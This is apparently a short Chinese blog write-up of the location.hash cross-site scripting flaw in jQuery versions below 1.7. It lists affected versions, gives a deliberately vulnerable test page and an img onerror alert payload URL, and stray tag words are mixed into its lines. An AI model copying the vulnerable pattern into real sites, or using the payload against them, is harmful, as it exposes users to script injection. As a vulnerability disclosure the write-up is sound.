jquery下载地址:https://code.jquery.com/jquery/ html
影响范围:jquery
版本低于1.7的jQuery过滤用户输入数据所使用的正则表达式存在缺陷,可能致使LOCATION.HASH跨站漏洞nginx
已测试成功版本:正则表达式
jquery-1.6.min.js,jquery-1.6.1.min.js,jquery-1.6.2.min.jsxss
jquery-1.5全部版本ide
jquery-1.4全部版本测试
jquery-1.3全部版本spa
jquery-1.2全部版本3d
测试:code
启动nginx,并创建index.html页面,内容以下:
漏洞发现者给的测试代码:
<html>
<head>
<title>JQuery-xss-test</title>
<script src="https://code.jquery.com/jquery-1.6.1.min.js"></script>
<script>
$(function(){
try { $(location.hash) } catch(e) {}
})
</script>
</head>
<body>
Jquery xss test.
</body>
</html>
访问地址:
http://localhost/#<img src=/ onerror=alert(/F4ckTeam/)>
测试截图: